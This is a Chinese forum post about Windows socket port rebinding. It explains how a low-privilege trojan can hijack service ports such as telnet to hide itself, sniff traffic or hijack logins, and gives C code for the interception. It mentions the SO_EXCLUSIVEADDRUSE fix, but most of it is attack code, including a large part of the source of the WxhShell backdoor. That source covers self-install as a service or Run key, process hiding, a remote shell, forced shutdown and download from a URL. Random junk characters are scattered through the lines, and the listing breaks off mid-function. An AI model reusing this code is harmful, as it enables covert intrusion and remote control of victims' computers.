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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HT/!+#W .  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PK|qiu-O&*  
E!ZLVR.K  
  saddr.sin_family = AF_INET; X> 98`  
oAifM1*0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); onmpMU7w  
=?W7OV^BE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xyo~p,(~t  
+@uA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j|8!gW  
$S' TW3  
  这意味着什么?意味着可以进行如下的攻击: [^GBg>k  
&3IkC(yD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8VG}-   
8D>5(Dg-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %AJ9fs4/  
XzIC~}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6Br^Ugy  
pq]z%\$u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E5A"sB   
QDj%m%Xd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f"gYXaVF+  
5s\;7>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X2I_,k'fQ  
Q7e4MKy7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &u^]YE{  
R`$Y]@i&B  
  #include s]e `q4ip  
  #include .Y2Hd$rs  
  #include U]+IP;YS  
  #include    Kg~D~ +j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :~R a}  
  int main() G:1QXwq\j  
  { 8.jf6   
  WORD wVersionRequested; b00$3,L   
  DWORD ret; L<oQKe7Q:  
  WSADATA wsaData; g$2#TWW5  
  BOOL val; 4$, W\d  
  SOCKADDR_IN saddr; (e5Z^9X  
  SOCKADDR_IN scaddr; .fqy[qrM  
  int err; ah<p_qe9|  
  SOCKET s; '\d ldg#P  
  SOCKET sc; ._>03,"  
  int caddsize; $?!]?{K  
  HANDLE mt; &/Gn!J;1  
  DWORD tid;   ~9APc{"A  
  wVersionRequested = MAKEWORD( 2, 2 ); I74Rw*fB  
  err = WSAStartup( wVersionRequested, &wsaData ); GK-P6d  
  if ( err != 0 ) { m;4ti9  
  printf("error!WSAStartup failed!\n"); {HM[ )t0  
  return -1; C7R3W,  
  } Z JcX-Z!\  
  saddr.sin_family = AF_INET;  k4<28  
   rZ+4kf6S   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \z2y?"\?  
55ec23m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "(W;rl  
  saddr.sin_port = htons(23); @=AQr4&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) " wT?$E  
  { :4 z\Q]  
  printf("error!socket failed!\n"); ]!!?gnPd5  
  return -1; bJ 6ivz  
  } e0TxJ*  
  val = TRUE; Kv!:2br  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q[#8ErUY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iex%$> "  
  { 12L`Gi  
  printf("error!setsockopt failed!\n"); u"oO._a(  
  return -1; \reVA$M [  
  } JAjiG^]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &0[ L2x}7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k ?6d\Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "XV@O jr E  
(O(TFE5^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M0C)SU5"  
  { _2`b$/)-  
  ret=GetLastError(); -Wmb M]Z  
  printf("error!bind failed!\n"); a%HNz_ro  
  return -1; b"#S92R+  
  } s&o9LdL  
  listen(s,2); Xl2g Hh  
  while(1) 3'6 UvAXFH  
  { w[l#0ZZ  
  caddsize = sizeof(scaddr); rxMo7px@}I  
  //接受连接请求 t {1 [Ip  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3t.!5 L  
  if(sc!=INVALID_SOCKET) v4E=)?  
  { 'l\PL1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >oyf i:  
  if(mt==NULL) bcT_YFLQ  
  { YWd2bRb  
  printf("Thread Creat Failed!\n"); ??B!UXi4R  
  break; XW8@c2jN\7  
  } eLh35tw  
  } 3}phg  
  CloseHandle(mt); ns5Dydo{T  
  } D}}?{pe  
  closesocket(s); >*O5Ry:4  
  WSACleanup(); d)biMI}<5  
  return 0; rq7yNt  
  }   kk<%VKC  
  DWORD WINAPI ClientThread(LPVOID lpParam) qHe H/e%`V  
  { '^WR5P<8c  
  SOCKET ss = (SOCKET)lpParam; c-NUD$  
  SOCKET sc; WdS1v%  
  unsigned char buf[4096]; wTR?8$  
  SOCKADDR_IN saddr; I*o6Bn |D  
  long num; 2P`./1L  
  DWORD val; BB3 a8  
  DWORD ret; Rvf{u8W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UJp'v_hN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D?S|]]Y!q  
  saddr.sin_family = AF_INET; c 8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &@|? %  
  saddr.sin_port = htons(23); S/pU|zV[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TBJ?8W(  
  { X1}M_h %  
  printf("error!socket failed!\n"); <W3p!  
  return -1; 7z,  $  
  } @V^.eVM\R  
  val = 100; $U7/w?gc'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hmLI9TUe6  
  { Kc^ctAk7;  
  ret = GetLastError(); a9^})By&  
  return -1;  Jn|<G  
  } ^9hc`.5N&?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v_%6Ly  
  { ("}Hs[  
  ret = GetLastError(); 8'3&z-  
  return -1; u&o4? ]6  
  } 4%qmwt*p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X1o R  
  { ?RG;q  
  printf("error!socket connect failed!\n"); nSSJl  
  closesocket(sc); HES$. a  
  closesocket(ss); B/lIn' =  
  return -1; @%u}|iF|  
  } ?uTuO  
  while(1) ph(LsPT-  
  { G='`*_$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `l?MmIJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e'G3\h}#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I;_T_m4.q  
  num = recv(ss,buf,4096,0); \j)c?1*$  
  if(num>0) RYC%;h  
  send(sc,buf,num,0); Ym ]g0a  
  else if(num==0) /i@.Xg@:  
  break; .L#4#IO  
  num = recv(sc,buf,4096,0); W"#<r  
  if(num>0) AZNo%!)o  
  send(ss,buf,num,0); :&z!o"K  
  else if(num==0) Dn#5H{D-d  
  break;  FO!0TyQ  
  } "3Dnp?gB  
  closesocket(ss); w > GW  
  closesocket(sc); 3kGg;z6  
  return 0 ; W}D[9zo/  
  } J'=s25OWU  
c; .y  
]moBVRd  
========================================================== 3bC-B!{;g  
d@JavcR  
下边附上一个代码,,WXhSHELL gV':Xe  
zN+jn  
========================================================== t,XbF  
zTG1 0  
#include "stdafx.h" FChW`b&S  
xk8NX-:  
#include <stdio.h> G;t< dJ8  
#include <string.h> ]+qd|}^  
#include <windows.h> g_tEUaiK  
#include <winsock2.h> Fgwe`[  
#include <winsvc.h> 9_&]7ABV  
#include <urlmon.h> (1er?4  
q(s0dkrj  
#pragma comment (lib, "Ws2_32.lib") si]MQ\i+  
#pragma comment (lib, "urlmon.lib") E:\#Ur2  
SU7,uxF  
#define MAX_USER   100 // 最大客户端连接数 xK1w->[  
#define BUF_SOCK   200 // sock buffer A~?)g!tS<  
#define KEY_BUFF   255 // 输入 buffer E'8XXV^I?P  
z:dW'U?1  
#define REBOOT     0   // 重启 i+I.>L/S  
#define SHUTDOWN   1   // 关机 }L{GwiDMDl  
=.m/ X>  
#define DEF_PORT   5000 // 监听端口 srImk6YD  
O6-';H:I]L  
#define REG_LEN     16   // 注册表键长度 :u@ w ;  
#define SVC_LEN     80   // NT服务名长度 v,rKuvc'  
$'*{&/@  
// 从dll定义API _Eq,udCso  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j9Z1=z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,FRa6;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XNvlx4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K;\fJ2ag  
0H}O6kU  
// wxhshell配置信息 4.kn , s  
struct WSCFG { 3v#F0s|  
  int ws_port;         // 监听端口 T0@<u  
  char ws_passstr[REG_LEN]; // 口令 yG#x*\9  
  int ws_autoins;       // 安装标记, 1=yes 0=no @Y9tkJIt  
  char ws_regname[REG_LEN]; // 注册表键名 rF?QI*`Y(  
  char ws_svcname[REG_LEN]; // 服务名 VeFfkg4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V5jy,Qi)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b|k(:b-G&.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a[!:`o1U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  V2 ;?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pnv)D}"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ESS1 L$y  
+H? XqSC  
}; uAk>VPuuZ  
?6MUyH]a  
// default Wxhshell configuration 9I1`*0A  
struct WSCFG wscfg={DEF_PORT, j{ri]?p  
    "xuhuanlingzhe", RSjcOQ8&.w  
    1, v] q"{c/  
    "Wxhshell", O6q5qA  
    "Wxhshell", AQ"rk9Z  
            "WxhShell Service", gd]k3XN$f  
    "Wrsky Windows CmdShell Service", #xq|/JWs  
    "Please Input Your Password: ", 7.yCs[Z  
  1, hx~rq `{  
  "http://www.wrsky.com/wxhshell.exe", J?&%fI  
  "Wxhshell.exe" 6LT.ng  
    }; bSTTr<W  
j3 @Q  
// 消息定义模块 3?&P^{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %~Wr/TOt+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lj *=bK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [RDY(}P%  
char *msg_ws_ext="\n\rExit."; V )oKsO  
char *msg_ws_end="\n\rQuit."; weOga\  
char *msg_ws_boot="\n\rReboot..."; @_#]7  
char *msg_ws_poff="\n\rShutdown..."; qs (L2'7/  
char *msg_ws_down="\n\rSave to "; Nfl5tI$U:  
0SZ:C(]  
char *msg_ws_err="\n\rErr!"; 5S7ATr(*  
char *msg_ws_ok="\n\rOK!"; BUBtK-n~"3  
OR10IS  
char ExeFile[MAX_PATH]; "@xL9[d  
int nUser = 0; &c= 3BEh  
HANDLE handles[MAX_USER]; 4%jQHOZ  
int OsIsNt; +5Y;JL<%/  
>+[{m<Eq  
SERVICE_STATUS       serviceStatus; ge{%B~x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JWxSN9.X  
ae+*gkPv8  
// 函数声明 J@q!N;eh|  
int Install(void); c8o2* C$  
int Uninstall(void); 8(-N;<Ef2  
int DownloadFile(char *sURL, SOCKET wsh); > mP([]  
int Boot(int flag); AD'c#CT  
void HideProc(void); ,YrPwdaTB  
int GetOsVer(void); !3*%-8bp  
int Wxhshell(SOCKET wsl); 2<_|1%C  
void TalkWithClient(void *cs); G|UeR=/  
int CmdShell(SOCKET sock); m]VOw)mBF  
int StartFromService(void); zwlz zqV  
int StartWxhshell(LPSTR lpCmdLine); "(;t`,F  
;Z&w"oSJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j|r$ ! gV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .`h:1FP 8  
*Y ?&N2@c  
// 数据结构和表定义 ,Mn?h\  
SERVICE_TABLE_ENTRY DispatchTable[] = 2cv=7!K4Uv  
{ )aX#RM? N  
{wscfg.ws_svcname, NTServiceMain}, @Wzr rCpj  
{NULL, NULL} *nY$YwHB  
}; S^SF!k=  
Ec!R3+  
// 自我安装 *,XT;h$'>  
int Install(void) HwBJUr91]  
{ XpP}(A@G  
  char svExeFile[MAX_PATH]; Ehtb`Ms  
  HKEY key; |OBZSk1jp  
  strcpy(svExeFile,ExeFile); <d3 a  
"A}2iI  
// 如果是win9x系统,修改注册表设为自启动 8-Z|$F"  
if(!OsIsNt) { >td\PW~X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <IQ}j^u-F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e[.JS6  
  RegCloseKey(key); hJoh5DIE95  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4~0 @(3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r 4+%9)  
  RegCloseKey(key); -lI6!a^  
  return 0; J/A UOInh  
    } a +`;:tX,  
  } F#l!LER^1g  
} N8`q.;qewz  
else { 0F[+rh"x  
U0dhr;l  
// 如果是NT以上系统,安装为系统服务 X}]g;|~SN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FzQ6UO~'  
if (schSCManager!=0) Z}r9jM  
{ 9Ui|8e~=  
  SC_HANDLE schService = CreateService _I #a `G  
  ( yJHFo[wGMJ  
  schSCManager, (!diPwcv  
  wscfg.ws_svcname, D~f[Rg  
  wscfg.ws_svcdisp, -Rr Qv(  
  SERVICE_ALL_ACCESS, h_xzqElZu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FmtV[C #  
  SERVICE_AUTO_START, 5[rA>g~  
  SERVICE_ERROR_NORMAL, qa/VSk!{  
  svExeFile, *>7Zc  
  NULL, #}nDX4jI  
  NULL, 8F T@TUFb  
  NULL, Ug^vVc)  
  NULL, bqm%@*fZo  
  NULL J]$]zD  
  ); U$6(@&P!  
  if (schService!=0) >Te h ?P  
  { [kPF Jf  
  CloseServiceHandle(schService); kBJx`tjtp  
  CloseServiceHandle(schSCManager); )E=~ _`XO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oJor ]QYK  
  strcat(svExeFile,wscfg.ws_svcname); JA6#qlylL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Gnzu"lod  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )ZDqj  
  RegCloseKey(key); 1H7 bPl|  
  return 0; P&9&/0r=_  
    } k(3FT%p  
  } sKGR28e  
  CloseServiceHandle(schSCManager); \t']Lf  
} bc*CP0t|  
} {s~t>Rp+  
E9PD1ADR  
return 1; +dF/$+t  
} G297)MFF  
C_V5.6T!  
// 自我卸载 5,K*IH  
int Uninstall(void) Q`(.Blgm;  
{ ?H(']3X5@  
  HKEY key; =s h]H$  
?89 _2W  
if(!OsIsNt) { :P2 0g](  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mu&%ph=  
  RegDeleteValue(key,wscfg.ws_regname); N#4"P: Sv  
  RegCloseKey(key); rn%q*_3-o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WRfhxl  
  RegDeleteValue(key,wscfg.ws_regname); 3^p;'7x  
  RegCloseKey(key); ]ZM-c~nL  
  return 0; ./E<v  
  } h<IPV'1  
} )+ 12r6W  
} `ouCQ]tKz  
else { Nd61ns(N  
5vqh09-FB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >Gi* BB  
if (schSCManager!=0) }1pG0V4  
{ #)EVi7UP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J={IGA  
  if (schService!=0) l*>, :y  
  { SOo}}a0  
  if(DeleteService(schService)!=0) { YV/JZc f  
  CloseServiceHandle(schService); RI-)Qx&!f  
  CloseServiceHandle(schSCManager); ?UV!^w@L:0  
  return 0; g)Dg=3+>  
  } z Feo8S  
  CloseServiceHandle(schService); / WJ+e  
  } R7~#7qKQB  
  CloseServiceHandle(schSCManager); X1~ WQ?ww  
} k5]`:k6  
} 5Ak6q(\  
@}iY(-V  
return 1; B>,&{ah/5J  
} Fd/.\s  
 wA7^   
// 从指定url下载文件 %L eZd}v  
int DownloadFile(char *sURL, SOCKET wsh) ])uhm)U@  
{ .]H1uoci|  
  HRESULT hr; 2vx1M6a)L  
char seps[]= "/"; ! )PV-[2  
char *token; AWn$od`#s  
char *file; 4]%v%6 4U  
char myURL[MAX_PATH]; },(Ln%M  
char myFILE[MAX_PATH];  ~xV|<;  
Ym/y2B(  
strcpy(myURL,sURL); 0X[uXf  
  token=strtok(myURL,seps); )-_To&S*  
  while(token!=NULL) $kCLS7 *  
  { Iji9N!Yx  
    file=token; %SlF7$  
  token=strtok(NULL,seps); B_#U|10et  
  } c6f[^Q%#j  
"`8~qZ7k  
GetCurrentDirectory(MAX_PATH,myFILE); ju{\7X5  
strcat(myFILE, "\\"); }KCb5_MDF  
strcat(myFILE, file); M~t;&po  
  send(wsh,myFILE,strlen(myFILE),0); 5>*~1}0T  
send(wsh,"...",3,0); |}^ BF%8V:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e:kd0)9  
  if(hr==S_OK) Y<EdFzle  
return 0; _vgFcE~E@  
else W2G@-`,  
return 1; B gB]M3Il  
z;d]=PT  
} 52>,JHq  
K~ShV  
// 系统电源模块 {m2lVzK  
int Boot(int flag) mDJN)CX  
{ |B/A)(c yV  
  HANDLE hToken; AEr8^6  
  TOKEN_PRIVILEGES tkp; !$5.\D  
FF7  
  if(OsIsNt) { Ua= w;h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?RVY%s;g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S@PAtB5  
    tkp.PrivilegeCount = 1; t;e+WZkV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T.kQ] h2ZG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6e.?L  
if(flag==REBOOT) { BmGY#D,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P]b * hC  
  return 0; Y] "_}  
} ZAcH`r*  
else { #Kd^t =k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fKN&0N |^R  
  return 0; [>N`)]fP  
} "o.g}Pv  
  } p{BBqKv  
  else { FqT2+VO~  
if(flag==REBOOT) { b9gezXAcd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g(D r/D  
  return 0; ^~Dmb2h  
} 5$w`m3>i(  
else { E |BE(F;K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NHjZ`=J s  
  return 0; C/L+gU&  
} 7xr@$-U  
} w;Jby  
N akSIGm  
return 1; fXJbC+  
} [TFd|ywn  
H6I]GcZ$  
// win9x进程隐藏模块 ++)3*+N+  
void HideProc(void) S_ Pa .  
{ hwR_<'!  
p2Fff4nQ   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {j{H@rHuy  
  if ( hKernel != NULL ) a.O pxd  
  { ExDv7St1(k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fw!TTH6l0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tUPdq0%t[  
    FreeLibrary(hKernel); $xl>YYEBMH  
  } C%l+<wpXO  
1!4-M$-  
return; ?=\&O=_ln  
} eXdE?j  
Z+G.v=2q<  
// 获取操作系统版本 y$7vJl.uS/  
int GetOsVer(void) 8:)W!tr  
{ ,fa'  
  OSVERSIONINFO winfo; 2[8C?7_K0?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }KZt7)  
  GetVersionEx(&winfo); ra4$/@3n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7\?0d!  
  return 1; IW<nfg  
  else BlrZ<\-/  
  return 0; (ndTEnpp  
} L~u@n24  
L~PBD?l  
// 客户端句柄模块 j~Cch%%G  
int Wxhshell(SOCKET wsl) X?8EPCk  
{ qij<XNZU"&  
  SOCKET wsh; I \DH  
  struct sockaddr_in client; XFiP8aX<  
  DWORD myID; &=-ZNWNo  
qlJzXq{|`  
  while(nUser<MAX_USER) (WISf}[l;  
{ z9B" "ws  
  int nSize=sizeof(client); bkvm-$/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $k|:V&6SV  
  if(wsh==INVALID_SOCKET) return 1; :p@.aD5  
&Oih#I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VoTnm   
if(handles[nUser]==0) bz1+AJG  
  closesocket(wsh); kU {>hG4  
else 5@kNvi  
  nUser++; oXxY$x*R1  
  } \[57Dmo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,R~{$QUl  
k)t_U3i  
  return 0; 7l~d_<h  
} H`:2J8   
Hv~& RZpe  
// 关闭 socket dN%*-p(  
void CloseIt(SOCKET wsh) Fzc8)*w  
{ 8`{)1.d5[  
closesocket(wsh); pp2,d`01[L  
nUser--; R iPxz=kr  
ExitThread(0); !)1gGXRY  
} M:9 6QM~  
{%"n[DLps  
// 客户端请求句柄 $q iY)RE  
void TalkWithClient(void *cs) pr) `7VuKp  
{ !G8=S'~~  
!pqfx93R*  
  SOCKET wsh=(SOCKET)cs; .EF(<JC?  
  char pwd[SVC_LEN]; b5u8j  
  char cmd[KEY_BUFF]; ZgzjRa++  
char chr[1]; I+VL~'VlS  
int i,j; BIk0n;Kz<L  
R. (fo:ve>  
  while (nUser < MAX_USER) { 0,z3A>C  
dx&!RK+  
if(wscfg.ws_passstr) { P"%QFt,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8nj^x?bn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UK7pQt}9  
  //ZeroMemory(pwd,KEY_BUFF); p" ;5J+?(  
      i=0; 'BiR ,M$mY  
  while(i<SVC_LEN) { =Lc!L !(,b  
Hrk]6*  
  // 设置超时 \|gE=5!Am=  
  fd_set FdRead; BWWO=N  
  struct timeval TimeOut; P5K=S.g  
  FD_ZERO(&FdRead); +}.~"  
  FD_SET(wsh,&FdRead); L/Ytkag  
  TimeOut.tv_sec=8; WCdl 25L#  
  TimeOut.tv_usec=0; o _G,Ph!7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aWCZ1F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M&v;#CV  
j TyR+#Wn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?^Q8#Y^M  
  pwd=chr[0]; 2d#3LnO  
  if(chr[0]==0xd || chr[0]==0xa) { Q:5^K  
  pwd=0; "K9/^S_  
  break; vh/&KTe?:  
  } cS2PrsUx  
  i++; MP3Vo|}3  
    } i!a. 6Gq  
)/y7Fh  
  // 如果是非法用户,关闭 socket 3OlXi9>3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z]%c6ty  
} I,lX;~xb  
u^4$<fd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (2J\o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JqmxS*_P  
n6xJ  
while(1) { HVHd@#pDZ  
V'q?+p] a  
  ZeroMemory(cmd,KEY_BUFF); _u{z$;  
3T= ?!|e  
      // 自动支持客户端 telnet标准   zzH^xxg  
  j=0; m}$7d5  
  while(j<KEY_BUFF) { E^`-:L(_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]wZlJK`K  
  cmd[j]=chr[0]; (6crWw{3  
  if(chr[0]==0xa || chr[0]==0xd) { #>ob1b|  
  cmd[j]=0;  81}JX  
  break; (B^rW,V[R  
  } M/mm2?4  
  j++; !\}X?G f  
    } )Ggv_mc h  
Pxvf"SXX  
  // 下载文件 ZamOYkRX  
  if(strstr(cmd,"http://")) { N;q)r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \:m1{+l  
  if(DownloadFile(cmd,wsh)) KPrH1 [VU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _qO'(DKylC  
  else Tpd|+60g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z}a9%Fb  
  } fjd)/Gg  
  else { }ip3dm  
0g`$Dap  
    switch(cmd[0]) { p>l:^ -N;f  
  :OFs" bC  
  // 帮助 PWBcK_4i%  
  case '?': { KDS} "/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N`HiNb [  
    break; .nzN5FB U  
  } x:6c@2  
  // 安装 5~[m]   
  case 'i': { Fy$f`w_H@  
    if(Install()) 2 oo/KndU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `tPVNO,l  
    else 6Qk[TL)t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l86gs6>  
    break; 7tP%tp ez  
    } lv>^P>S(O  
  // 卸载 bn%4s[CVb4  
  case 'r': { +P=Ikbx AO  
    if(Uninstall()) .|e8v _2J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kW7$Gw]-  
    else 4:9N]1JCb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mIZ6[ ?  
    break; x']Fe7nv  
    } Gsu?m  
  // 显示 wxhshell 所在路径 #\8"d  
  case 'p': { k2O3{xIjc  
    char svExeFile[MAX_PATH]; 4l`[,BJ  
    strcpy(svExeFile,"\n\r"); =/!RQQ|8o  
      strcat(svExeFile,ExeFile); !pZ<{|cH  
        send(wsh,svExeFile,strlen(svExeFile),0); FyQr$;r  
    break; |->C I  
    } `=$p!H8  
  // 重启 i IM\_<?  
  case 'b': { I.[Lv7U-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }/lyrjV  
    if(Boot(REBOOT)) P-/"sD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bXi!_'z$  
    else { P~M[i9 V  
    closesocket(wsh); 1,(WS F  
    ExitThread(0); +#Wwah$  
    } [w90gp1O[  
    break; v5F+@ug  
    } :8`~dj.  
  // 关机 3rY\y+m  
  case 'd': { T& 4f} g/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j5wfqi  
    if(Boot(SHUTDOWN)) ob;O,&e0>  
